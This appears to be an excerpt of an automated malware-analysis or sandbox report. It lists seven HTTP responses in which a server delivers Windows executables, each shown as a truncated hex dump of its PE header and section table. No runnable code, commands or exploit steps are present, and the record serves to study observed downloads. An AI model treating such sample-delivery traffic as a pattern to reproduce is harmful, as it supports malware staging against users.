Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 00:14:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 00:14:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 00:14:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 00:14:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 00:14:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 00:14:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 00:14:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
